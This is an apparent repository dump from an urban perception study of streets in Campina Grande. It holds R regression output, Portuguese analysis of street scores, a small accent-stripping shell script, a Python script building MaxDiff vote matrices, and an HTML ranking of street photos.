## d_swidth:citynotcampina 0.0004564 0.0026369 0.173 0.862588
## d_sidewalk:citynotcampina -0.0237991 0.0134383 -1.771 0.076562 .
## d_trees:citynotcampina 0.0266552 0.0131056 2.034 0.041964 *
## d_lands:citynotcampina -0.1333451 0.0289246 -4.610 4.02e-06 ***
## d_bid:citynotcampina -0.0739897 0.0205343 -3.603 0.000314 ***
## ---
## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1
##
## (Dispersion parameter for binomial family taken to be 1)
##
## Null deviance: 29403 on 21209 degrees of freedom
## Residual deviance: 24618 on 21193 degrees of freedom
## AIC: 24652
##
## Number of Fisher Scoring iterations: 4</code></pre>
<pre><code>## [1] "Logistic model not scaled - without user being or not from campina"</code></pre>
<pre><code>##
## Call:
## glm(formula = choice ~ d_swidth + d_sidewalk + d_trees + d_lands +
## d_bid + bair_cat, family = binomial(), data = the_data)
##
## Deviance Residuals:
## Min 1Q Median 3Q Max
## -2.48595 -0.97499 0.00139 0.99548 2.44217
##
## Coefficients:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) -0.248987 0.024631 -10.109 < 2e-16 ***
## d_swidth -0.002997 0.001368 -2.191 0.02842 *
## d_sidewalk 0.137207 0.006796 20.191 < 2e-16 ***
## d_trees 0.055995 0.006544 8.556 < 2e-16 ***
## d_lands 0.483119 0.014485 33.353 < 2e-16 ***
## d_bid -0.063933 0.012751 -5.014 5.33e-07 ***
## bair_catcatole_centro 0.801169 0.049264 16.263 < 2e-16 ***
## bair_catcatole_liberdade 0.655027 0.066045 9.918 < 2e-16 ***
## bair_catcentro_catole -0.324262 0.053123 -6.104 1.03e-09 ***
## bair_catcentro_liberdade -0.121203 0.061407 -1.974 0.04841 *
## bair_catliberdade_catole 0.208881 0.073036 2.860 0.00424 **
## bair_catliberdade_centro 0.483240 0.061591 7.846 4.30e-15 ***
## ---
## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1
##
## (Dispersion parameter for binomial family taken to be 1)
##
## Null deviance: 29403 on 21209 degrees of freedom
## Residual deviance: 24706 on 21198 degrees of freedom
## AIC: 24730
##
## Number of Fisher Scoring iterations: 4</code></pre>
<pre><code>## 'log Lik.' 24705.53 (df=12)</code></pre>
<pre><code>## 'log Lik.' 24617.51 (df=17)</code></pre>
<pre><code>## [1] "Comparing deviance of models and chi-square values from table"</code></pre>
<pre><code>## 'log Lik.' 88.01298 (df=17)</code></pre>
<pre><code>## [1] 11.0705</code></pre>
<pre><code>## [1] 15.08627</code></pre>
<pre><code>##
## Call:
## glm(formula = choice ~ 1, family = binomial(), data = the_data)
##
## Deviance Residuals:
## Min 1Q Median 3Q Max
## -1.177 -1.177 0.000 1.177 1.177
##
## Coefficients:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) 0.00000 0.01373 0 1
##
## (Dispersion parameter for binomial family taken to be 1)
##
## Null deviance: 29403 on 21209 degrees of freedom
## Residual deviance: 29403 on 21209 degrees of freedom
## AIC: 29405
##
## Number of Fisher Scoring iterations: 2</code></pre>
<pre><code>## Generalized linear mixed model fit by maximum likelihood (Laplace
## Approximation) [glmerMod]
## Family: binomial ( logit )
## Formula: choice ~ 1 + (1 | userID)
## Data: the_data
##
## AIC BIC logLik deviance df.resid
## 29407.3 29423.2 -14701.7 29403.3 21208
##
## Scaled residuals:
## Min 1Q Median 3Q Max
## -1 -1 0 1 1
##
## Random effects:
## Groups Name Variance Std.Dev.
## userID (Intercept) 0 0
## Number of obs: 21210, groups: userID, 347
##
## Fixed effects:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) 0.00000 0.01373 0 1</code></pre>
<pre><code>## 'log Lik.' 29403.3 (df=1)</code></pre>
<pre><code>## 'log Lik.' 29403.3 (df=2)</code></pre>
<pre><code>## [1] "Random Effects scaled"</code></pre>
<pre><code>## Generalized linear mixed model fit by maximum likelihood (Laplace
## Approximation) [glmerMod]
## Family: binomial ( logit )
## Formula: choice ~ d_swidth + d_sidewalk + d_trees + d_lands + d_bid +
## bair_cat + city:(d_swidth + d_sidewalk + d_trees + d_lands +
## d_bid + bair_cat) + (1 | userID)
## Data: the_data
##
## AIC BIC logLik deviance df.resid
## 24648.3 24839.3 -12300.1 24600.3 21186
##
## Scaled residuals:
## Min 1Q Median 3Q Max
## -4.8950 -0.7765 0.0017 0.7936 4.3473
##
## Random effects:
## Groups Name Variance Std.Dev.
## userID (Intercept) 4.091e-17 6.396e-09
## Number of obs: 21210, groups: userID, 347
##
## Fixed effects:
## Estimate Std. Error z value
## (Intercept) -0.18662 0.02456 -7.599
## d_swidth -0.02830 0.02686 -1.054
## d_sidewalk 0.40048 0.02484 16.124
## d_trees 0.14799 0.02992 4.947
## d_lands 0.81760 0.02955 27.669
## d_bid -0.08857 0.03126 -2.833
## bair_catcatole_centro 0.81020 0.06229 13.007
## bair_catcatole_liberdade 0.59511 0.08381 7.101
## bair_catcentro_catole -0.21646 0.06844 -3.163
## bair_catcentro_liberdade -0.02877 0.07864 -0.366
## bair_catliberdade_catole 0.17922 0.09527 1.881
## bair_catliberdade_centro 0.32359 0.08016 4.037
## d_swidth:citynotcampina -0.02388 0.03985 -0.599
## d_sidewalk:citynotcampina -0.05559 0.03765 -1.476
## d_trees:citynotcampina 0.09302 0.04396 2.116
## d_lands:citynotcampina -0.20832 0.04364 -4.774
## d_bid:citynotcampina -0.05837 0.04712 -1.239
## bair_catcatole_centro:citynotcampina -0.01122 0.08509 -0.132
## bair_catcatole_liberdade:citynotcampina 0.16698 0.12540 1.332
## bair_catcentro_catole:citynotcampina -0.24041 0.09643 -2.493
## bair_catcentro_liberdade:citynotcampina -0.22116 0.11542 -1.916
## bair_catliberdade_catole:citynotcampina 0.07150 0.13882 0.515
## bair_catliberdade_centro:citynotcampina 0.32735 0.11310 2.894
## Pr(>|z|)
## (Intercept) 2.97e-14 ***
## d_swidth 0.29196
## d_sidewalk < 2e-16 ***
## d_trees 7.55e-07 ***
## d_lands < 2e-16 ***
## d_bid 0.00461 **
## bair_catcatole_centro < 2e-16 ***
## bair_catcatole_liberdade 1.24e-12 ***
## bair_catcentro_catole 0.00156 **
## bair_catcentro_liberdade 0.71445
## bair_catliberdade_catole 0.05995 .
## bair_catliberdade_centro 5.42e-05 ***
## d_swidth:citynotcampina 0.54900
## d_sidewalk:citynotcampina 0.13983
## d_trees:citynotcampina 0.03436 *
## d_lands:citynotcampina 1.81e-06 ***
## d_bid:citynotcampina 0.21539
## bair_catcatole_centro:citynotcampina 0.89514
## bair_catcatole_liberdade:citynotcampina 0.18300
## bair_catcentro_catole:citynotcampina 0.01266 *
## bair_catcentro_liberdade:citynotcampina 0.05535 .
## bair_catliberdade_catole:citynotcampina 0.60654
## bair_catliberdade_centro:citynotcampina 0.00380 **
## ---
## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1</code></pre>
<pre><code>##
## Correlation matrix not shown by default, as p = 23 > 12.
## Use print(summary(agrad_random_user), correlation=TRUE) or
## vcov(summary(agrad_random_user)) if you need it</code></pre>
<pre><code>## [1] "<NAME>"
## dev
## 0.8366493
## [1] "<NAME>"
## dev
## 0.1633507
## [1] "<NAME>"
## dev
## 0.2026425
## [1] "Nagelkerke"
## dev
## 0.27019</code></pre>
<pre><code>## [1] "Random Effects without user moderation scaled"</code></pre>
<pre><code>## Generalized linear mixed model fit by maximum likelihood (Laplace
## Approximation) [glmerMod]
## Family: binomial ( logit )
## Formula: choice ~ d_swidth + d_sidewalk + d_trees + d_lands + d_bid +
## bair_cat + +(1 | userID)
## Data: the_data
##
## AIC BIC logLik deviance df.resid
## 24731.5 24835.0 -12352.8 24705.5 21197
##
## Scaled residuals:
## Min 1Q Median 3Q Max
## -4.5800 -0.7801 0.0010 0.8008 4.3277
##
## Random effects:
## Groups Name Variance Std.Dev.
## userID (Intercept) 0 0
## Number of obs: 21210, groups: userID, 347
##
## Fixed effects:
## Estimate Std. Error z value Pr(>|z|)
## (Intercept) -0.18452 0.02452 -7.52 5.29e-14 ***
## d_swidth -0.04330 0.01976 -2.19 0.02842 *
## d_sidewalk 0.37554 0.01860 20.19 < 2e-16 ***
## d_trees 0.18701 0.02186 8.56 < 2e-16 ***
## d_lands 0.72234 0.02166 33.35 < 2e-16 ***
## d_bid -0.11691 0.02332 -5.01 5.33e-07 ***
## bair_catcatole_centro 0.80117 0.04926 16.26 < 2e-16 ***
## bair_catcatole_liberdade 0.65503 0.06605 9.92 < 2e-16 ***
## bair_catcentro_catole -0.32426 0.05312 -6.10 1.03e-09 ***
## bair_catcentro_liberdade -0.12120 0.06141 -1.97 0.04841 *
## bair_catliberdade_catole 0.20888 0.07304 2.86 0.00424 **
## bair_catliberdade_centro 0.48324 0.06159 7.85 4.30e-15 ***
## ---
## Signif. codes: 0 '***' 0.001 '**' 0.01 '*' 0.05 '.' 0.1 ' ' 1
##
## Correlation of Fixed Effects:
## (Intr) d_swdt d_sdwl d_tres d_lnds d_bid br_ctctl_c
## d_swidth 0.015
## d_sidewalk -0.024 -0.137
## d_trees -0.017 -0.439 0.052
## d_lands -0.007 0.029 -0.290 -0.405
## d_bid -0.038 -0.021 -0.061 0.303 -0.342
## br_ctctl_cn -0.517 -0.055 0.113 0.009 -0.031 0.352
## br_ctctl_lb -0.371 0.061 0.098 -0.016 -0.011 -0.042 0.178
## br_ctcntr_c -0.442 0.047 -0.101 0.006 0.051 -0.324 0.072
## br_ctcntr_l -0.381 0.183 -0.005 -0.016 0.034 -0.332 0.044
## br_ctlbrdd_ct -0.336 -0.093 -0.054 0.055 0.024 0.029 0.174
## br_ctlbrdd_cn -0.415 -0.199 0.013 0.028 -0.024 0.353 0.364
## br_ctctl_l br_ctcntr_c br_ctcntr_l br_ctlbrdd_ct
## d_swidth
## d_sidewalk
## d_trees
## d_lands
## d_bid
## br_ctctl_cn
## br_ctctl_lb
## br_ctcntr_c 0.177
## br_ctcntr_l 0.177 0.328
## br_ctlbrdd_ct 0.111 0.149 0.109
## br_ctlbrdd_cn 0.118 0.029 -0.030 0.160</code></pre>
<p>As regressões logísticas, por outro lado, apontam uma melhoria no AIC em torno de 80 pontos quando usamos a moderação em relação a não usá-la e aponta preferências em relação a trees e landscape. De forma similar ao modelo OLS, preferências por mais árvores, calçadas mais largas, mais manutenção e menos identificadores foram percebidas em geral.</p>
</div>
</div>
<div id="analise-geral-das-ruas---media-e-dispersao" class="section level1">
<h1>Análise Geral das Ruas - Média e Dispersão</h1>
<ol style="list-style-type: decimal">
<li>Na média as ruas são parecidas ou não? Tem alguma rua que parece muito boa ou muito ruim?</li>
</ol>
<pre><code>## [1] ">>>>> Média Geral"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-10-1.png" width="672" /></p>
<pre><code>## [1] ">>>>> Média Moradores"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-10-2.png" width="672" /></p>
<pre><code>## [1] ">>>>> Média Não Moradores"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-10-3.png" width="672" /></p>
<ul>
<li>A Manoel P. de Araújo realmente está bem abaixo das demais ruas;</li>
<li>As outras 5 ruas possuem intervalos próximos, que podem ser confundíveis, apesar da Cristina e a Floriano parecerem ter uma tendência de melhores scores;</li>
</ul>
<p>Como essas médias se comparam com os dados que tínhamos antes (pontos aleatórios) da rua ou ainda com pontos aleatórios dos novos dados?</p>
<pre><code>## [1] ">>>>> Médias V1 x Dados Atuais"</code></pre>
<pre><code>## [1] ">>> Summary Manoel (Old x New)"
## [1] 4
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.327 3.366 3.915 3.924 4.473 4.539
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.284 3.585 3.657 3.657 3.770 3.993
## [1] ">>> Summary Inacio"
## [1] 2
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.685 4.147 4.609 4.609 5.072 5.534
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.968 4.418 5.081 4.842 5.233 5.404
## [1] ">>> Summary Edesio"
## [1] 2
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.677 4.125 4.574 4.574 5.023 5.472
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.882 4.403 4.826 4.772 5.165 5.460
## [1] ">>> Summary Cristina"
## [1] 2
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.500 3.927 4.354 4.354 4.781 5.208
## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.043 4.784 5.120 4.924 5.400 5.598</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-11-1.png" width="672" /></p>
<pre><code>## [1] ">>>>> Médias Simulando 3 pontos por rua"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-11-2.png" width="672" /></p>
<ol start="2" style="list-style-type: decimal">
<li>Será que ruas que são parecidas na média, são de fato similares?</li>
</ol>
<p>5 das ruas selecionadas parecem bem similares de acordo com a média, mas será que são similares assim? Para isso computamos os violin plots de cada rua.</p>
<pre><code>## [1] ">>>>> Todos os usuários e todas as fotos juntas"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-1.png" width="672" /></p>
<pre><code>## [1] ">>>>> Votos aleatórios"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-2.png" width="672" /></p>
<pre><code>## [1] ">>>>> Todos os usuários por rua"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-3.png" width="672" /></p>
<pre><code>## [1] ">>>>> Moradores"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-4.png" width="672" /></p>
<pre><code>## [1] ">>>>> Não moradores"</code></pre>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-12-5.png" width="672" /></p>
<p>A partir da análise dos violin plots, alguns pontos podem ser destacados:</p>
<ul>
<li>A <NAME> foi realmente a rua com as notas em gerais mais baixas o que pode ser um indicativo de problema na rua. Analisando com mais cuidado as imagens da rua na próxima Seção, pode-se perceber que esses valores baixos eram esperados, já que se trata de uma área antiga e pouco cuidada do centro da cidade (bem degradada!);</li>
<li>A Inacio Marques, <NAME> e Cristina tiveram valores mais espalhados com uma maior concentração em algumas regiões, o que era esperado dado variações nos tipos de locais nessas ruas (mais ou menos verde, mais ou menos conservados). Existem concentrações de medianos para bons, porém a Inácio tem uma concentração de scores ruins e a Cristina tem algunas notas muito baixas;</li>
<li>A Maciel Pinheiro tem uma maior concentração de valores com notas parecidas, o que era esperado dado a maior semelhança de locais ao longo de toda a rua. Isso a torna mais homogênea que as outras 4, porém mais heterogênea que a Manoel P. de Araujo;</li>
<li>A Floriano também tem uma maior concentração de valores com notas parecidas, porém um pouco mais heterogêneas que a Maciel Pinheiro;</li>
<li>A Inacio, Edesio, Floriano e Cristina possuem QScores que variam em 1.5 ou mais pontos. Essa grande variação merece ser analisada com mais cuidado já que pode ser um indicativo de problemas em certos locais das ruas!</li>
</ul>
<p>Para complemento numérico dos violin plots, temos os coeficientes de dispersão/heterogeneidade e o sumário de cada rua na seguinte ordem: Inacio, Edesio, Maciel e Manoel. Aqui é importante destacar que:</p>
<ul>
<li>Os três pontos mais heterogêneos considerados foram, respectivamente, das ruas Inácio Marques, <NAME> e Cristina Procópio. É interessante observar que, apesar da ordem de heterogeneidade das ruas ser diferente, essas 3 ruas são as mais heterogêneas do nosso conjunto de dados.</li>
</ul>
<pre><code>## labels variable value
## 1 Gini cristina 0.06451732
## 2 Gini edesio 0.05767443
## 3 Gini inacio 0.05316014
## 4 Gini floriano 0.03804141
## 5 Gini maciel 0.03277675
## 6 Gini manoel 0.02920358</code></pre>
<pre><code>## labels variable value
## 1 Entropy cristina 0.009060597
## 2 Entropy edesio 0.005207376
## 3 Entropy inacio 0.004667139
## 4 Entropy floriano 0.002341453
## 5 Entropy maciel 0.001702221
## 6 Entropy manoel 0.001390847</code></pre>
<pre><code>## labels variable value
## 1 SD cristina 0.6397101
## 2 SD edesio 0.4946799
## 3 SD inacio 0.4749388
## 4 SD floriano 0.3509230
## 5 SD maciel 0.2875672
## 6 SD manoel 0.1971500</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.968 4.418 5.081 4.842 5.233 5.404</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.882 4.403 4.826 4.772 5.165 5.460</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 4.234 4.649 4.883 4.840 5.076 5.232</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.284 3.585 3.657 3.657 3.770 3.993</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 4.247 4.854 5.066 5.050 5.305 5.622</code></pre>
<pre><code>## Min. 1st Qu. Median Mean 3rd Qu. Max.
## 3.043 4.784 5.120 4.924 5.400 5.598</code></pre>
</div>
<div id="uma-impressao-geral-ao-longo-da-rua" class="section level1">
<h1>Uma impressão geral ao longo da rua</h1>
<p>Após a análise das médias por rua e de suas desigualdades, vamos dar uma olhada geral ao longo de todas as ruas sob a visão de todos os usuários, só dos moradores e só dos não moradores. Com isso podemos perceber diferenças e semelhanças entre as ruas, com a presença de locais melhor/pior avaliados ao longo das mesmas.</p>
<blockquote>
<blockquote>
<blockquote>
<p>Considerando todos os respondentes</p>
</blockquote>
</blockquote>
</blockquote>
<img src="analisaPorRua_files/figure-html/unnamed-chunk-14-1.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-2.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-3.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-4.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-5.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-14-6.png" width="1152" />
<div class="row">
<div class="col-xs-12">
<img src='images/cristina_procopio.png' width='800px'>
<div class="caption">
<NAME>
</div>
</div>
</div>
<div class="row">
<div class="col-xs-12">
<img src='images/inacio_marques.png' width='800px'>
<div class="caption">
<NAME>
</div>
</div>
</div>
<blockquote>
<blockquote>
<blockquote>
<p>Considerando só os moradores de Campina</p>
</blockquote>
</blockquote>
</blockquote>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-1.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-2.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-3.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-4.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-5.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-15-6.png" width="1152" /></p>
<blockquote>
<blockquote>
<blockquote>
<p>Considerando só os não moradores de Campina</p>
</blockquote>
</blockquote>
</blockquote>
<p><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-1.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-2.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-3.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-4.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-5.png" width="1152" /><img src="analisaPorRua_files/figure-html/unnamed-chunk-16-6.png" width="1152" /></p>
</div>
<div id="analisando-em-detalhe-cada-rua" class="section level1">
<h1>Analisando em detalhe cada rua</h1>
<p>Para entender um pouco melhor cada rua, tentamos analisar os QScores obtidos ao longo da rua e confrontá-los com as imagens para tentar responder a questão abaixo:</p>
<ol start="3" style="list-style-type: decimal">
<li>Podemos descrever cada rua? Apontar pontos notáveis, problemas, se um lado da rua é diferente do outro? Esses pontos seriam identificados pela regressão ou comportamento médio?</li>
</ol>
<p>Vide analisaPorRua2.html!</p>
</div>
<div id="caracteristicas-de-usuarios-no-centro" class="section level1">
<h1>Características de Usuários no Centro</h1>
<p>Algumas observações:</p>
<ul>
<li>Para as ruas <NAME>, <NAME>, Peregrino de Carvalho e Marquês de Herval apesar de terem características diferentes quanto á largura de rua, arborização e conservação de prédios, os usuários mostraram alta importância para Espaços Públicos, Arborização, Espaços para Circulação de Pedestres e Mobiliário Urbano;</li>
<li>A importância dada a espaço para circulação é geralmente de média a alta, com algumas variações entre estas ruas</li>
</ul>
<p>[1] “>>>>> <NAME> 60” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-1.png" width="1152" />[1] “>>>>> Rua Marquês do herval 42” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-2.png" width="1152" />[1] “>>>>> Rua Card<NAME> 44” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-3.png" width="1152" />[1] “>>>>> Rua Peregrino de Carvalho 61” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-4.png" width="1152" />[1] “>>>>> Rua Eufrosino 11” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-5.png" width="1152" />[1] “>>>>> Rua <NAME> 21” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-6.png" width="1152" />[1] “>>>>> <NAME> 10” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-7.png" width="1152" />[1] “>>>>> Rua Monsenhor Sales 22” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-8.png" width="1152" />[1] “>>>>> Rua Semeão Leal 24” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-9.png" width="1152" />[1] “>>>>> Rua Venâncio neiva 46” <img src="analisaPorRua_files/figure-html/unnamed-chunk-17-10.png" width="1152" /></p>
</div>
</div>
<script>
// add bootstrap table styles to pandoc tables
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$('tr.header').parent('thead').parent('table').addClass('table table-condensed');
}
$(document).ready(function () {
bootstrapStylePandocTables();
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<!-- dynamically load mathjax for compatibility with self-contained -->
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</html>
<file_sep>#! /bin/sh
#
# Autor: Queiroz
# Data : 11/08/94
#
# Este shell script remove a acentuação de um arquivo
#
# A seguir, a localização do arquivo onde se encontram as diretivas
# para o comando sed
# testa se foram fornecidos os arquivos de entrada e saida para
# o comando. Caso haja erro neste passo emitir a mensagem e encerrar
# o processamento
if [ $# -lt 2 ]; then
echo 1>&2 Sintaxe: $0 arquivo_entrada arquivo_saida
exit 1
fi
# Atribui à variável infile o primeiro argumento e à variável outfile
# o segundo argumento
infile=$1
outfile=$2
# Executa o comando sed para efetuar as substituições
sed -f ./tiraacento.sed $infile > $outfile
<file_sep># coding=utf-8
# Reads run.csv file and organizes respondents answers in a matrix with columns being all images and rows being images in the task and selected images as best and worst
import sys
from sets import Set
import random
import numpy
import json
import csv
import pandas as pd
#photos considered in comparisons
all_photos = Set([])
#possible questions
possibleQuestions = ["agrad%C3%A1vel?", "seguro?"]
#possible answers
left = 'Left'
right = 'Right'
notKnown = 'NotKnown'
completeTie = 'equal'
def readTasksDefinitions(lines_tasks):
tasks_def = {}
for line in lines_tasks:
data = line.split("+")
task_id = data[0].strip(' \t\n\r')
current_def = json.loads(data[7].strip(' \t\n\r\"'))
tasks_def[task_id] = current_def
all_photos.add(current_def['url_a'].strip(' \t\n\r"'))
all_photos.add(current_def['url_b'].strip(' \t\n\r"'))
all_photos.add(current_def['url_c'].strip(' \t\n\r"'))
all_photos.add(current_def['url_d'].strip(' \t\n\r"'))
return tasks_def
def buildMaxDiffInput(lines, output_filename, tasks_def):
#Reading from pybossa task-run CSV
headers = list(all_photos)
headers.sort()
output = open(output_filename, 'w')
output.write(','.join(headers)+"\n")
for line in lines:
lineData = line.split("+")
executionID = lineData[0].strip(' \t\n\r"')
taskID = lineData[3].strip(' \t\n\r"')
userAnswer = lineData[9].strip(' \t\n\r"')
#It is a new vote, read tasks definition from JSON!
if executionID[0].lower() == 'n':
data = json.loads(userAnswer)
if "agrad" in data['question'].strip(' \t\n\r"'):
question = possibleQuestions[0]
else:
question = possibleQuestions[1]
photo1 = data['theMost'].strip(' \t\n\r"')
photo2 = data['theLess'].strip(' \t\n\r"')
taskDef = tasks_def[taskID]
photos = Set( [taskDef['url_c'].strip(' \t\n\r"'), taskDef['url_b'].strip(' \t\n\r"'), taskDef['url_a'].strip(' \t\n\r"'), taskDef['url_d'].strip(' \t\n\r"')] )
is_tie = photo1
if photo1 != completeTie:
photos.remove(photo1)
photos.remove(photo2)
else:
photo1 = photos.pop()
photo2 = photos.pop()
photo3 = photos.pop()
photo4 = photos.pop()
#Finding index of items according to header
index1 = headers.index(photo1)
index2 = headers.index(photo2)
index3 = headers.index(photo3)
index4 = headers.index(photo4)
answer_list = ["NA"] * 108
#print "TASK > " + is_tie + "\t" + photo1 +"\t" + photo2+"\t" + str(index1) +"\t" + str(index2)
#Saving votes from task-run
if is_tie != completeTie:
answer_list[index1] = "1"
answer_list[index2] = "-1"
answer_list[index3] = "0"
answer_list[index4] = "0"
else:
answer_list[index1] = "0"
answer_list[index2] = "0"
answer_list[index3] = "0"
answer_list[index4] = "0"
#print ">>> Linha atual " + ','.join(answer)
output.write(','.join(answer_list)+"\n")
else:#Old-fashioned way of capturing votes
#In user answers that contain profile information, jump to comparison
if userAnswer[0] == '{':
index = userAnswer.find("Qual")
if index == -1:
raise Exception("Line with profile does not contain question: " + userAnswer)
userAnswer = userAnswer[index:].split(" ")
else:
userAnswer = userAnswer.split(" ")
question = userAnswer[5].strip(' \t\n\r"')
answer = userAnswer[6].strip(' \t\n\r"')
photo1 = userAnswer[7].strip(' \t\n\r"')
photo2 = userAnswer[8].strip(' \t\n\r"')
#Finding index of items according to header
index1 = headers.index(photo1)
index2 = headers.index(photo2)
answer_list = ["NA"] * 108
#print "TASK > " + answer + "\t" + photo1 +"\t" + photo2+"\t" + str(index1) +"\t" + str(index2)
if answer == left:
answer_list[index1] = "1"
answer_list[index2] = "-1"
elif answer == right:
answer_list[index1] = "-1"
answer_list[index2] = "1"
elif answer == notKnown:
answer_list[index1] = "0"
answer_list[index2] = "0"
#print ">>> Linha atual " + ','.join(answer)
output.write(','.join(answer_list)+"\n")
output.close()
if __name__ == "__main__":
if len(sys.argv) < 3:
print "Uso: <arquivo com execuções das tarefas> <tasks definition - V2>"
sys.exit(1)
dataFile = open(sys.argv[1], 'r')
tasksFile = open(sys.argv[2], 'r')
lines = dataFile.readlines()
linesTasks = tasksFile.readlines()
buildMaxDiffInput(lines, "maxdiff_rank_input.dat", readTasksDefinitions(linesTasks))
<file_sep><body style="overflow:scroll">
<h2>agrad%C3%A1vel?</h2><table>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Inacio_Marques_da_Silva__434_270.jpg 6.20444231639</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Doutor_Severino_Cruz__411__90.jpg 6.04977242644</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Joao_Francisco_Mota__64__90.jpg 6.04095481318</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Honorio_de_Melo__240__90.jpg 6.01369680761</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Luisa_Bezerra_Mota__246_270.jpg 6.00926875701</td>
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<td><img src="https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Elias_Aforas__202_180.jpg 4.19707240224</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Avenida_Assis_Chateaubriand__1334__180.jpg 4.16628813091</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Avenida_Presidente_Getulio_Vargas__395__270.jpg 4.15970554089</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Manoel_P._de_Araujo__150_90.jpg 4.14504414425</td>
<td><img src="https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/liberdade/Rua_Padre_Pedro_Serrao__336__90.jpg 4.11997250023</td>
</tr>
<tr>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_90.jpg 4.09429942068</td>
<td><img src="https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg" width="400" height="300"></td>
<td>https://contribua.org/bairros/oeste/catole/Rua_Sebastiao_Vieira_da_Silva__1273__0.jpg 4.08193261013</td>
<td><img src="https://contribua.org/bairros/norte/centro/Rua_Pedro_Alvares_Cabral__129_180.jpg" width="400" height="300"></td>
